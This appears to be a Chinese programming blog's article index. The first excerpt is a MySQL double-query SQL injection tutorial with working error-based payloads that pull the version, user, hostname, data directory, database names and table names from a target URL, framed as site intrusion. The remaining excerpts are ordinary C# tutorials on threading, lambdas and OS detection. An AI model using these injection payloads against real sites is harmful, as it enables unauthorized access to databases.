双查询注入

作者:bystander 论坛:法客论坛 这个东西比较难解释。我就不多解释。尽量通过这篇文章大家能够照猫画虎手注即可。想要深入理解的可以去看看mysql数据库的一些知识 介绍一下双查询注入,有时候我们通过order by 语句获取到了确定的列数,可是当我们使用union select或union select all查询的时候, f4ck.net/index.php?id=-1 union select 1,2,3,4,5,6-- 却会出现一个错误提示,列数不一致。 Different Number of Columns 而我们使用下面的语句: f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(concat(version(),user(),@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 执行之后就会显示mysql版本,用户名,服务器名, 以及数据目录… 获取数据库里 许多人会在上面的语句里使用:database()方法来获取数据库, f4ck.net/index.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 可是。这个方法只能获取一个数据库。如果你入侵的网站存在多个数据库。上面这个查询就不能用了因此使用下面这个方法更好些。。 f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 不同点在于第二个查询语句在information_schema.schemata里查询 schema_name ,这样就能查到所有的数据库了。 注意语句中的Limit 0,1会显示地一个数据库,改成 Limit 1,1 会显示第二个 Limit 2,1 会显示第三个, Limit 3,1 会显示第四个。。以此类推。 补充个: 在普通的SQL注入中,使用如下的语句 f4ck.net/index.php?id=-1 union select 1,2,3,4,5,schema_name,7,8 from information_schema.schemata-- 会一次爆出所有的数据库 而使用下面的 f4ck.net/index.php?id=-1 union select 1,2,3,4,5,database(),7,8-- 只会显示当前站点使用的数据库。 获取表名 回正题,我们继续使用双查询来获取数据库的表: f4ck.net/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0xHEX LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 注意语句中的table_schema=0xHEX 这里的hex用你要查询的数据库进行hex编码后替换即可。 同样的,这里可以要修改LIMIT后面的值来得到第二个第三个第四个表。 ...

2013-02-22 · 2 min · bystander

C#多线程揭秘

文章略长。。。 Demo下载:Demo.Threading.zip 介绍 本文将通过一些例子来展示.net 中如何实现多线程,涉及到以下四部分。 1 .线程概念 2 .如何实现多线程 3 .如何确保线程安全 4 .死锁 什么是进程 一个进程就是一个可执行文件运行的操作系统上下文环境。它被用来分隔虚拟地址空间,线程,对象句柄(指向类似文件这样的资源的指针),以及环境变量,进程还有一些类似优先级类和最大内存分配的属性。 也就是说: 1 .一个进程就是一个包含资源的内存块。 2 .操作系统执行的一个单独的任务。 3 .一个正在运行的软件 4 .一个进程拥有一个/多个操作系统线程 一般的。一个进程最大可以是4GB的内存空间,这块内存是安全,私有,其他进程是无法访问的。 什么是线程 一个线程就是在一个进程里执行的一条指令流,所有的线程都在一个进程里执行,也就是一个进程可以包含多个线程。线程公用进程的虚拟地址空间。线程是操作系统的调度单元。一个线程的上下文由操作系统进行保存/恢复。 也就是说: 1 .一个线程是进程里的一条指令流。 2 .所有的线程在进程里。一个进程可以有多个线程 3 .一个进程的所有线程使用进程的虚拟地址空间。 什么是多线程 多线程指的是进程同时有多个线程活动。这可以通过时间片的线程模拟或是多cpu上的超线程来实现。可以提高性能。 多线程-为什么或是为什么不? 为什么多线程 1 .保持UI响应。 2 .提高性能(对于cpu密集型和I/O密集型的进程) 为什么不多线程 1 .过度使用降低性能 2 .代码复杂,增加设计时间,潜在的bug 线程池 线程池为你的程序提供了一个由操作系统管理的机制。在线程池里的都是后台线程。一个线程池线程在程序的前台线程都退出后,也会推出。每个进程一个线程池。默认情况下。每个处理器会为进程分配25个线程。但是可以通过SetMaxThreads 方法来改变。 .net 中的线程 在.net 中,线程可以通过下面6个方法来实现。 1 .Thread线程类 2 .Delegates委托 3 .Background Worker 4 .ThreadPool 线程池 5 .Task任务类 6 .Parallel并行类 下面的几部分里。我将逐一展示实现方法。 简而言之,多线程就是通过使程序同时运行多个任务来最大化计算机能力,同时能够保持UI响应。下图是一个例子的图示。 代码 提供的源码是一个简单的WinForm程序。模拟了.net中委托,线程类和Background Worker三种方法。 程序异步执行一个繁重的操作,这样UI就不会无响应。三个方法都是模拟的。 这个“繁重”的操作 真实的开发中,这个繁重的操作从轮询数据库到流媒体操作都可以。基本上可以是任何事情。源码里面是向一个字符串追加值。String是不能变的。追加的时候,新的字符串变量会被创建,旧的会被丢弃,这是由CLR处理的。如果做很多次这个操作,是很耗资源的。这也是为什么我们使用Stringbuilder.Append 来代替这个操作。通过调整界面中的次数。可以通知追加的次数。 后面我们有一个Utility泪,有一个LoadData() 方法。类里面也有一个和LoadData() 有着同样签名的委托 class Utility { public delegate string delLoadData(int number); public static delLoadData dLoadData; public Utility() { } public static string LoadData(int max) { string str = string.Empty; for (int i = 0; i < max; i++) { str += i.ToString(); } return str; } } 同步调用 当点击Get Data Sync按钮的时候。操作和UI在同一个线程里,因此阻塞了UI线程。因此。UI线程会未响应 private void btnSync_Click(object sender, EventArgs e) { this.Cursor = Cursors.WaitCursor; this.txtContents.Text = Utility.LoadData(upCount); this.Cursor = Cursors.Default; } 异步调用 使用委托(异步编程模型) ...

2013-02-12 · 7 min · bystander

Lambda高手之路第六部分

今天武汉地铁通车了,今天介绍一些新的Lambda设计模式,应该是最后一部分了。 本节介绍一些核心有lambda表达式的模式,我不认为他们完全是新的模式,但是至少我还没有看到有人给他们起过名字,我于是决定尝试取个可能好,也可能不好的名字,这样我起码能很容易的给别人描述,有话在先,许多模式相当强大,但是可能会引入潜在的bug,所以小心为上 复杂的多态 Lambda表达式也可以被用来创建一些多态(override),而不用使用abstract或者virtual关键字(当然这并不意味着就不能用),考虑如下的代码片段 class MyBaseClass { public Action SomeAction { get; protected set; } public MyBaseClass() { SomeAction = () => { //Do something! }; } } 看起来没什么新的知识,我们创建一个类,里面有一个属性(一个lambda表达式),又一次JavaScript化了,有趣的地方是:属性暴露的这个部分不只是本类可以改变,子类也可以改变,看代码 class MyInheritedClass : MyBaseClass { public MyInheritedClass { SomeAction = () => { //Do something different! }; } } 看到了。我们可以改变这个方法。或者进行更精确的操作,这种方法的缺点是我们不能直接访问父类的实现,也就缺乏了基类的能力,因为,这个父类的属性会有同样的值,如果程序员真的需要这样写,我建议你遵循 pattern class MyBaseClass { public Action SomeAction { get; private set; } Stack<Action> previousActions; protected void AddSomeAction(Action newMethod) { previousActions.Push(SomeAction); SomeAction = newMethod; } protected void RemoveSomeAction() { if(previousActions.Count == 0) return; SomeAction = previousActions.Pop(); } public MyBaseClass() { previousActions = new Stack<Action>(); SomeAction = () => { //Do something! }; } } 这样的话,子类就不得不拥有了 AddSomeAction() 方法,而这个方法是吧当前的方法压入堆栈,那样我们可以恢复之前的状态。 这种模式我起了一个名字叫做Lambda属性多态模式(LP3),它简单的描述了可以在属性里捕获任何方法。之后可以被子类所设置,栈是这个模式的一个附加品,没有改变我们使用属性来完成的模式目标 为什么要用这种模式?有几个理由。地一个,因为我们可以用。但是等一等。如果你使用当中不同的属性,这个模式会变得相当棘手,突然,多态变成了一个完全的新方法。但是这也许是一个不同的模式,现在我想说这个模式完成了以前人们认为不可能的事情 举个例子,你想要(不建议,但是也许对该问题是最优雅的解决方法了。)重写一个静态方法,好吧。静态不可能被继承,原因很简单,师承是对实例对象来说的。而静态方法不属于任何一个实例,对于所有的实例都是一样的。这会引发一个警告,下面的例子也许并不如你所想的结果,因此,除非你非常清楚。否则不要乱用。 看代码 void Main() { var mother = HotDaughter.Activator().Message; //mother = "I am the mother" var create = new HotDaughter(); var daughter = HotDaughter.Activator().Message; //daughter = "I am the daughter" } class CoolMother { public static Func<CoolMother> Activator { get; protected set; } //此处是防止空引用 static CoolMother() { Activator = () => new CoolMother(); } public CoolMother() { //Message of every mother Message = "I am the mother"; } public string Message { get; protected set; } } class HotDaughter : CoolMother { public HotDaughter() { //一进入构造函数我们设置Activator ... Activator = () => new HotDaughter(); //Message of every daughter Message = "I am the daughter"; } } 这很简单,希望没有对你产生误导,这种模式有时候会让事情变得异常复杂,这也是为什么我总是避免使用它。不过他很有用。(可以通过该方法构造所有的静态属性和方法,并且可以使你总是获得你感兴趣的那个)只要你不感到头疼,这是解决静态多态性的一个好方法。是的。静态多态性是可能的。 ...

2012-12-28 · 3 min · bystander

Lambda高手之路第五部分

武汉下雪了。。今天介绍Lambda表达式非常有用的情况。。ps:这个高手之路已经翻译了10000多字了。。疼啊。。 一些模式比另一些模式有时候更加合适,真正有用的模式是自定义方法表达式,用爱促使话一些对象的部分,我们考虑下面这种情况。 我们想要创建一个可以处理多种延迟加载的对象,这意味着即时对象已经被实例化了,我们还没有加载所有请求的资源,一个理由就是防止大量的IO操作。(比如通过网络传输),当我们开始使用数据的时候,我们想要确定数据足够新鲜,现在有一些确定的方法可以做这个。并且最有效的显然是实体框架已经用LINQ解决了延迟加载的问题,Iqueryable仅存储了查询,而没有任何无关的数据。一旦我们请求一个结果。不仅仅构造的查询被执行,同时也被以更高效的方式执行,比如一个在远程数据服务器上的SQL查询。 在这里,我们仅仅想要看看两种情况的不同点,首先,我们查询,一切就绪,查询应该在已经加载了的数据上进行。 class LazyLoad { public LazyLoad() { Search = query => { var source = Database.SearchQuery(query); Search = subquery => { var filtered = source.Filter(subquery); foreach(var result in filtered) yield return result; }; foreach(var result in source) yield return result; }; } public Func<string, IEnumerable<ResultObject>> Search { get; private set; } } 简单来看,这里我们有两种不他哦你的方法,地一个是我们把数据从数据库里提取出来(也就是Database静态类所做的),然后第二个方法将会过滤从数据库里提取出来的数据。一旦我们将会从我们的第一次查询取得结果,当然我们也可以构造内置的其他方法来重置类的行为,对于工业级的代码,其他的方法也许更加有用。 另一个例子是初始时间分支,假设我们有一个对象,该对象有个方法叫做Perform(),这个方法可以用来调用一些代码,包含这个方法的对象可以被初始化,初始化有三种方式。 通过传递方法来调用 通过传递一些包含这个方法的对象来调用 或者通过传递第一种情况下的序列化以后的信息来调用。 现在我们可以保留所有的三种方式做全局变量。而Perform方法将不得不查看当前的状态(或者是保存在枚举变量里,或者和null进行比较)然后检测被调用的正确的方式,最后调用开始。 更好的一种方法是吧Perform()方法写成一个属性,这个属性仅仅允许在类里面进行set,它是一个委托类型,现在我们可以在对应的构造方法里面直接设置这个属性,因此,我们可以不用全局变量,也不用担心这个对象是如何实例化的,这种方法更好。 看一小段简单的代码。 class Example { public Action<object> Perform { get; private set; } public Example(Action<object> methodToBeInvoked) { Perform = methodToBeInvoked; } //接口 public Example(IHaveThatFunction mother) { //传递的对象必须有我们要用的方法 Perform = mother.TheCorrespondingFunction; } public Example(string methodSource) { //Compile方法是任意的。 Perform = Compile(methodSource); } } 即时这个例子看起来如我们所愿被构造了。让阿尔。大多数情况下只使用前两种,但是随着领域特性语言,编译器,日志框架,数据访问层和其他很多情况下,通常有很多方式可以完成,但Lambda表达式也许是最优雅的。 考虑这种情况,我们可以在函数编程领域体会到即时调用方法表达式的好处,我们可以看到C#中IIFE的一种用法。用的不多。但是我认为真的很好。但不是用在这种情况下。 Func<double, double> myfunc; var firstValue = (myfunc = (x) => { return 2.0 * x * x - 0.5 * x; })(1); var secondValue = myfunc(2); //... 我们也可以使用即时调用方法来防止一些确定的非静态的方法被重复调用。这就会出现自定义方法和初始时间分支和IIFE的组合使用了。 下一节介绍一些新的Lambda设计模式

2012-12-27 · 1 min · bystander

Lambda高手之路第四部分

首先祝大家平安夜快乐。本篇介绍一些流行的JavaScript模式。为下一篇打基础 使用/了解JavaScript的一个好处就是函数的高级用法。。在JavaScript里。函数仅仅是对象。他们可以有赋给他们的属性。而在C#中。我们不能做我们可以在JavaScript的全部事情。但是我们仍然可以做些事情。一个原因是JavaScript在函数里给变量以作用域。因此,不得不通过创建函数,大多数情况是匿名的来定位变量。而在C#中。通过使用块,通过花括号来创建作用域 当然,换种方式来说。C#中,函数也会给变量作用域。通过使用Lambda表达式。我们通过花括号在其里面创建了一个变量。然而。我们也可以局部的创建作用域。 我们来看看通过使用Lambda表达式可以实现一些在JavaScript里面有用的模式把。 回调模式 这个模式是个老的模式。事实上。回调模式从.net 的第一版就开始使用了。但是是以一种很简单的方式实现的。而现在。通过使用Lambda表达式。闭包,捕获变量等特性能够允许我们写出如下的代码来。 void CreateTextBox() { var tb = new TextBox(); tb.IsReadOnly = true; tb.Text = "Please wait ..."; DoSomeStuff(() => { tb.Text = string.Empty; tb.IsReadOnly = false; }); } void DoSomeStuff(Action callback) { // Do some stuff - asynchronous would be helpful ... callback(); } 对于JavaScript程序员会觉得这没什么啊。他们使用这个模式太多了。然而,它非常有用。因为我们可以使用参数作为Ajax相关事件的事件处理器(比如oncompleted,onsuccess),等等。如果你使用LINQ,那么你可能也会用到回调模式的一些东西。举个例子。LINQ的where子句将会在每一次迭代中回调你的查询语句。这只是回调函数的一个例子。在.net的世界里。事件如它名字所暗示的那样。通常是事件处理的首选方法。这有时候很像一个回调。他有两个参数。有一个特殊的关键字和一个类型模式(两个参数分别是sender和arguments,sender通常是object类型。Arguments通常继承自EventArgs) 可以通过+= 和-=给事件添加/删除事件处理程序。 返回方法 和普通的方法比较。Lambda表达式也可以返回一个方法指针(就是一个委托实例),这意味着我们可以使用Lambda表达式创建/返回一个lambda表达式(或者今年仅是一个已定义好的方法的委托实例),大量的情况下。这个模式也很有用。首先看一下例子。 Func<string, string> SayMyName(string language) { switch(language.ToLower()) { case "fr": return name => { return "Je m'appelle " + name + "."; }; case "de": return name => { return "Mein Name ist " + name + "."; }; default: return name => { return "My name is " + name + "."; }; } } void Main() { var lang = "de"; //Get language - e.g. by current OS settings var smn = SayMyName(lang); var name = Console.ReadLine(); var sentence = smn(name); Console.WriteLine(sentence); } 代码本应该更短些。我们可以让default如果请求的语言没有找到。只是抛出一个异常即可。不过。这个例子展示了这是一种方法工厂。另一种同等效果的方法是包含一个Hashtable。或者更好的话用Dictionary<K, V> ...

2012-12-24 · 3 min · bystander

Lambda高手之路第三部分

背后的秘密-MSIL 通过著名的LINQPad,我们可以更深入的查看MSIL代码而没有任何秘密。下图是一个LINQPad的使用截图 我们会看三个例子,第一个Lambda表达式如下: Action<string> DoSomethingLambda = (s) => { Console.WriteLine(s);// + local }; 对应的普通函数是这样的 Action<string> DoSomethingLambda = (s) => { Console.WriteLine(s);// + local }; 生成的MSIL代码片段如下: DoSomethingNormal: IL_0000: nop IL_0001: ldarg.1 IL_0002: call System.Console.WriteLine IL_0007: nop IL_0008: ret <Main>b__0: IL_0000: nop IL_0001: ldarg.0 IL_0002: call System.Console.WriteLine IL_0007: nop IL_0008: ret 最大的不同是方法的名称用法不同。而不是声明。事实上。声明是完全一样的。编译器在类里面创建了一个新的方法来实现这个方法。这没什么新东西,仅仅是为了我们使用Lambda表达式方便代码编写。从MSIL代码中,我们做了同样的事情。在当前对象里调用了一个方法。 我们在下图里演示一下编译器所做的修改。在这个图例。我们可以看到编译器把Lambda表达式移动成了一个固定的方法。 第二个例子将展示Lambda表达式真正的奇妙之处,在这个例子里。我们既使用了有着全局变量的普通方法也使用了有捕获变量的Lambda表达式。代码如下 void Main() { int local = 5; Action<string> DoSomethingLambda = (s) => { Console.WriteLine(s + local); }; global = local; DoSomethingLambda("Test 1"); DoSomethingNormal("Test 2"); } int global; void DoSomethingNormal(string s) { Console.WriteLine(s + global); } 没什么不同的似乎。关键是:lambda表达式如何被编译器处理 IL_0000: newobj UserQuery+<>c__DisplayClass1..ctor IL_0005: stloc.1 IL_0006: nop IL_0007: ldloc.1 IL_0008: ldc.i4.5 IL_0009: stfld UserQuery+<>c__DisplayClass1.local IL_000E: ldloc.1 IL_000F: ldftn UserQuery+<>c__DisplayClass1.<Main>b__0 IL_0015: newobj System.Action<System.String>..ctor IL_001A: stloc.0 IL_001B: ldarg.0 IL_001C: ldloc.1 IL_001D: ldfld UserQuery+<>c__DisplayClass1.local IL_0022: stfld UserQuery.global IL_0027: ldloc.0 IL_0028: ldstr "Test 1" IL_002D: callvirt System.Action<System.String>.Invoke IL_0032: nop IL_0033: ldarg.0 IL_0034: ldstr "Test 2" IL_0039: call UserQuery.DoSomethingNormal IL_003E: nop DoSomethingNormal: IL_0000: nop IL_0001: ldarg.1 IL_0002: ldarg.0 IL_0003: ldfld UserQuery.global IL_0008: box System.Int32 IL_000D: call System.String.Concat IL_0012: call System.Console.WriteLine IL_0017: nop IL_0018: ret <>c__DisplayClass1.<Main>b__0: IL_0000: nop IL_0001: ldarg.1 IL_0002: ldarg.0 IL_0003: ldfld UserQuery+<>c__DisplayClass1.local IL_0008: box System.Int32 IL_000D: call System.String.Concat IL_0012: call System.Console.WriteLine IL_0017: nop IL_0018: ret <>c__DisplayClass1..ctor: IL_0000: ldarg.0 IL_0001: call System.Object..ctor IL_0006: ret 和第一个例子一样。机制相同。编译器把lambda表达式移动到一个方法里。但是不同的是,编译器这次还生成了一个类。编译器为我们的lambda表达式生成的方法会放在类里,这就给了捕获的变量一个全局的作用域,通过这样。Lambda表达式可以访问局部变量。因为在MSIL里。它是类实例里面的一个全局变量。 ...

2012-12-20 · 1 min · bystander

Lambda高手之路第二部分

闭包的影响 为了展示闭包的影响,我们看下面这个例子。 var buttons = new Button[10]; for(var i = 0; i < buttons.Length; i++) { var button = new Button(); button.Text = (i + 1) + ". Button - Click for Index!"; button.OnClick += (s, e) => { Messagebox.Show(i.ToString()); }; buttons[i] = button; } //如果我们点击按钮会发生什么 这个问题很怪,我在我的JavaScript课程上经常问我的学生。95%的学生会说。显然按钮0显示0,按钮1显示1,等等。而不足5%的学生学习了闭包之后会明白。所有的按钮都会显示10. 局部变量i的值改变了。并且等于buttons.Length。也就是10了。想要避免这个诡异的情况也很简单。如下就行了。 var button = new Button(); var index = i; button.Text = (i + 1) + ". Button - Click for Index!"; button.OnClick += (s, e) => { Messagebox.Show(index.ToString()); }; buttons[i] = button; 问题解决了,但是index变量是一个值类型,因此保留了“全局”i的一个拷贝 最后一个话题是一个叫做表达式树的东西,他和Lambda表达式协作。并且,他会使得在ASP.NET MVC中的Html扩展方法发生一些很奇妙的东西。关键的问题是:如何发现目标函数 1. 传递进去的变量的名称是什么 2. 方法的主体是什么 3. 函数体里使用了什么类型 Expression 解决了这些问题,他允许我们挖掘生成的表达式树,我们也可以执行传递给Func和Action委托的函数,而且,可以在运行时解析Lambda表达式 我们看一下如何使用Expression 类型的例子 Expression<Func<MyModel, int>> expr = model => model.MyProperty; var member = expr.Body as MemberExpression; var propertyName = memberExpression.Member.Name; //当 member != null的时候执行 ... 这是Expression最简单的用法了。规则也相当直接。通过构建一个Expression类型的对象。编译器为生成的解释树生成一些元数据。这个解释树包含所有相关的信息,比如参数和方法体。 方法体包含完整的解释树,我们可以访问这些操作。就像完整的语句一样。也可以操作返回指和类型。当然,返回可以为null,无论如此。大多数情况下。我们对表达式很感兴趣。这和ASP.NET MVC中处理Expression类型的方法是很相似的—可以得到使用的参数的名字,而好处是显而易见的。不会出现名称拼写错误了。也就不会出现因此而出现的编译错误了。 注意:当程序员仅仅对调用的属性的名字感兴趣的时候。有一个更简单,更优雅的解决方案,那就是参数特性CallerMemberName 这个特性可以得到调用方法/属性的名称。而字段被编译器自动填充。因此,如果我们仅仅想知道名字,而不想知道其他更多的信息,那么我我们只需要写出像下面这个例子里的代码就行了。通过调用WhatsMyName() 方法可以返回方法的名字 string WhatsMyName([CallerMemberName] string callingName = null) { return callingName; } Lambda表达式的性能 有一个很大的问题:Lambda表达式有多快?好吧。首先,我们期望他们能和我们一般的函数一样快。下一节里。我们会看到Lambda的MSIL代码和普通的函数没有太大的不同。 最有趣的一个讨论是如果Lambda表达式产生了闭包,将会和使用全局变量的方法一样快。这就产生了一个有趣的问题,和一个区域内局部变量的数目多少会有关系吗? 我们看看测试代码,通过4个不同的指标,我们可以看到普通方法和Lambda方法的不同。 using System; using System.Collections.Generic; using System.Diagnostics; namespace LambdaTests { class StandardBenchmark : Benchmark { const int LENGTH = 100000; static double[] A; static double[] B; static void Init() { var r = new Random(); A = new double[LENGTH]; B = new double[LENGTH]; for (var i = 0; i < LENGTH; i++) { A[i] = r.NextDouble(); B[i] = r.NextDouble(); } } static long LambdaBenchmark() { Func<double> Perform = () => { var sum = 0.0; for (var i = 0; i < LENGTH; i++) sum += A[i] * B[i]; return sum; }; var iterations = new double[100]; var timing = new Stopwatch(); timing.Start(); for (var j = 0; j < iterations.Length; j++) iterations[j] = Perform(); timing.Stop(); Console.WriteLine("Time for Lambda-Benchmark: \t {0}ms", timing.ElapsedMilliseconds); return timing.ElapsedMilliseconds; } static long NormalBenchmark() { var iterations = new double[100]; var timing = new Stopwatch(); timing.Start(); for (var j = 0; j < iterations.Length; j++) iterations[j] = NormalPerform(); timing.Stop(); Console.WriteLine("Time for Normal-Benchmark: \t {0}ms", timing.ElapsedMilliseconds); return timing.ElapsedMilliseconds; } static double NormalPerform() { var sum = 0.0; for (var i = 0; i < LENGTH; i++) sum += A[i] * B[i]; return sum; } } } 本来用Lambda表达式我们可以把代码写的更好。最终我没有这样做。是为了防止影响看最后的结果。因此,本质上。上述代码里有三个方法 1个是Lambda测试,一个是普通测试,还有一个是在普通测试里调用的方法。而没有的第四个方法其实是我们的lambda表达式。在第一个方法里已经创建了。计算过程很简单,我们随机取数字防止编译器做任何优化。最后我们对普通方法和Lambda方法的不同很有兴趣。 ...

2012-12-19 · 2 min · bystander

Lambda高手之路第一部分

好长时间没发技术文章了,恰好看到一篇非常详细的Lambda文章。一边翻译一边学习。题目好像有点霸气。。 介绍 Lambda表达式是使代码更加动态,易于扩展并且更加快速(看完本文你就知道原因了)的强有力的工具。也可以用来降低潜在的错误。同时可以利用静态输入和智能提示,就像VS里一样。 Lambda表达式在.net framework 3.5中提出来。并且在LINQ和ASP.NET MVC内部的一些技术中扮演了相当重要的角色。如果你考虑一下ASP.NET MVC中各类控件的实现。你就发现。奥妙就是他们大多使用了Lambda表达式。和Lambda表达式一起,使用Html扩展方法将会使得在后台创建模型成为可能。 本文会讲到如下的知识。 1.简短的介绍-Lambda表达式是什么,以及为什么和匿名方法不同(之前我们使用的) 2.走近Lambda表达式的性能-在哪些情况下比起标准方法,Lambda会提高/损失性能 3.深入-Lambda表达式在MSIL代码中是什么样 4.一些来自JS世界的模式映射到C#中 5.那些能够提高性能,并且代码看起来相当舒服的使用Lambda的情况。 6.一些我提出的新模式-当然有可能别人也提出来了。但这是我的思考结果。 如果你期望本文是一篇入门教程我可能要让你失望了,除非你真的很优秀并且很聪明,当然我不是这种人,所以我也想提前声明一下:为了读懂这篇文章你可能需要C#的一些高级知识,并且对C#比较了解。 你应该期望本文试着解释一些事情给你,也会解释一些有趣的问题,至少对我来说是这样的。最后我会展示一些实际的例子和模式,如我所说,Lambda表达式简化了很多情况。因此写显式的模式很有用。 背景知识-什么是Lambda表达式 在C#1.0中,委托被提出了,它使得传递函数成为可能,一句话就是委托就是强类型的函数指针,但委托比指针更强大。一般传递一个函数需要如下几步。 1. 写一个委托(就像一个类)包含返回类型和参数类型 2. 使用委托作为某一个函数的参数类型,这样,该函数就可以接受和委托描述的有着相同签名的函数了 3. 将一个委托类型的函数传递给委托,创建一个委托实例。 如果听起来很复杂,确实本来很复杂,但这是必需的。(虽然不是造火箭,但是比你认为的要更多的代码),然而步骤三不是必需的,编译器会为你做他,但是步骤1和2却是必不可少的。 幸运的是C#2.0出现了泛型,现在我们也可以写泛型类,方法,更重要的是,泛型委托,然而,直到.net framework 3.5的时候。微软意识到实际上只有两种泛型委托(当然有一些不同的重载),会覆盖99%的使用情况: 1.Action 没有任何输入参数,也没有输出参数。 2.Action<t1,…t16> 需要1-16个参数,没有输出参数。 3.Func<t1….t16,tout>需要0-16个参数,一个输出参数 Action和其对应的泛型版本(仅仅是一个动作,执行一些事情)返回void的时候。Func则可以返回最后一个参数指定的类型,通过这两个委托类型,我们事实上,大部分情况下。前面提到的三步中的第一部就不用写的。而第二步仍然需要。 那么如果我们想要运行代码的时候怎么做呢。在C#2.0中问题已经可以解决了。在这个版本里。我们可以创建委托方法,也就是一个匿名方法,然后这个语法一直未能流行起来,一个相当简化的匿名方法的版本类似这样: Func<double, double> square = delegate (double x) { return x * x; } 为了提高这种语法,欢迎来到Lambda表达式的国度。首先,这个Lambda名字怎么来的?事实上。来自于数学上的λ演算,更准确的说他是数学中一个正式的系统。用于通过变量绑定和替换来进行表达式计算,所以我们有0-N个输入参数和一个返回值,而在编程中,也可以没有返回值 我们看一下Lambda表达式的一些例子 //编译器可以识别,然后就可以通过dummyLambda();来调用了 var dummyLambda = () => { Console.WriteLine("Hallo World from a Lambda expression!"); }; //可以通过类似 double y = square(25);来使用 Func<double, double> square = x => x * x; //可以通过类似double z = product(9, 5);来使用 Func<double, double,double> product = (x, y) => x * y; //可以通过类似printProduct(9, 5);来使用 Action<double, double> printProduct = (x, y) => { Console.Writeline(x * y); }; //可以通过类似var sum = dotProduct(new double[] { 1, 2, 3 }, new double[] { 4, 5, 6 }); Func<double[], double[], double> dotProduct = (x, y) => { var dim = Math.Min(x.Length, y.Length); var sum = 0.0; for(var i = 0; i != dim; i++) sum += x[i] + y[i]; return sum; }; //可以通过类似 var result = matrixVectorProductAsync(...);使用 Func<double[,], double[], double[]=""> matrixVectorProductAsync = async (x, y) => { var sum = 0.0; /* do some stuff ... */ return sum; }; 从上面的代码段里我们可以学到一些东西 ...

2012-12-18 · 2 min · bystander

3分钟理解Lambda表达式

1.什么是Lambda表达式 Lambda表达式是一个匿名方法,通常在LINQ中被用来创建委托 简单来说。它是一个没有声明,没有访问修饰符,没有返回值。甚至没有名字的方法。 2.为什么我们需要使用Lambda表达式?或者说为什么我们要写一个没有名字的函数? 为了方便,这种快捷方式允许你在调用的地方直接编写代码,尤其是你想调用的代码只会在这个地方使用一次。并且方法体本身很短。节省了单独写方法中写声明等等的麻烦。。 好处 1.代码量减少。不必写方法的名称。返回值和访问修饰符 2.当阅读代码的时候。直接就可以看到被调用函数的代码,不用去别的地方。 Lambda表示应该短些。太复杂了。可读性就下降了 如果编写Lambda表达式 Lambda基本的定义是:参数=>执行代码 举个例子 n = > n % 2 == 1 n是输入参数 n % 2 == 1 是函数体 你可以读作:给这个匿名方法传入一个参数n,如果n是奇数就返回true 使用该Lambda的例子 List<int> numbers = new List<int>{11,37,52}; List<int> oddNumbers = numbers.where(n => n % 2 == 1).ToList(); //现在oddNumbers 里面就是11和37了 ok.基本的Lambda表达式就是这样了。

2012-12-08 · 1 min · bystander

获取操作系统版本信息

坊间流传的代码都有些问题,比如不能正常获取win7以上的版本信息,不能获取诸如专业版,旗舰版等的信息,不能正常获取操作系统位的信息。 使用代码,写了一个简单的库来实现效果。用法大概如下: StringBuilder sb = new StringBuilder(String.Empty); sb.AppendLine("Operation System Information"); sb.AppendLine("----------------------------"); sb.AppendLine(String.Format("Name = {0}", OSVersionInfo.Name)); sb.AppendLine(String.Format("Edition = {0}", OSVersionInfo.Edition)); if (OSVersionInfo.ServicePack!=string.Empty) sb.AppendLine(String.Format("Service Pack = {0}", OSVersionInfo.ServicePack)); else sb.AppendLine("Service Pack = None"); sb.AppendLine(String.Format("Version = {0}", OSVersionInfo.VersionString)); sb.AppendLine(String.Format("ProcessorBits = {0}", OSVersionInfo.ProcessorBits)); sb.AppendLine(String.Format("OSBits = {0}", OSVersionInfo.OSBits)); sb.AppendLine(String.Format("ProgramBits = {0}", OSVersionInfo.ProgramBits)); textBox1.Text = sb.ToString(); 对比一下坊间的几种不足: 总的来说。最大的问题就是不能正确检测你的操作系统到底是32位还是64位。几种方法大致如下: 1. 使用IntPtr指针的大小 最关键的一句代码是: return IntPtr.Size * 8; 但是事实上,这个返回的不是操作系统的位数,返回的是运行的程序的位数,如果在64位的windows上以32位的模式运行了这个程序,那么就会返回32. 2. 使用PROCESSOR_ARCHITECTURE 环境变量 string pa = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE"); return ((String.IsNullOrEmpty(pa) || String.Compare(pa, 0, "x86", 0, 3, true) == 0) ? 32 : 64); 这就是纯粹的误导了,因为和1的情况一样。不能返回处理器的位数而是返回了运行程序的位数,如果在64位的windows上以32位的模式运行了这个程序,那么就会返回32. 3. 使用PInvoke 和 GetSystemInfo 注意:为了保持文章不要太长。。我没有包括PInvoke API的声明,(译者注:C#的互操作性嘛),但你可能在我提供的源代码里找到。 ProcessorArchitecture pbits = ProcessorArchitecture.Unknown; try { SYSTEM_INFO l_System_Info = new SYSTEM_INFO(); GetSystemInfo(ref l_System_Info); switch (l_System_Info.uProcessorInfo.wProcessorArchitecture) { case 9: // PROCESSOR_ARCHITECTURE_AMD64 pbits = ProcessorArchitecture.Bit64; break; case 6: // PROCESSOR_ARCHITECTURE_IA64 pbits = ProcessorArchitecture.Itanium64; break; case 0: // PROCESSOR_ARCHITECTURE_INTEL pbits = ProcessorArchitecture.Bit32; break; default: // PROCESSOR_ARCHITECTURE_UNKNOWN pbits = ProcessorArchitecture.Unknown; break; } } catch { Ignore } return pbits; 老问题,还是会返回运行程序的位数,而不是操作系统/处理器的位数。 4. 使用PInvoke和GetNativeSystemInfo 我看到过有人说上面的都不可信。可以使用GetNativeSystemInfo代替,代码和上面一样,只是把GetSystemInfo换成GetNativeSystemInfo就好。 ...

2012-11-23 · 2 min · bystander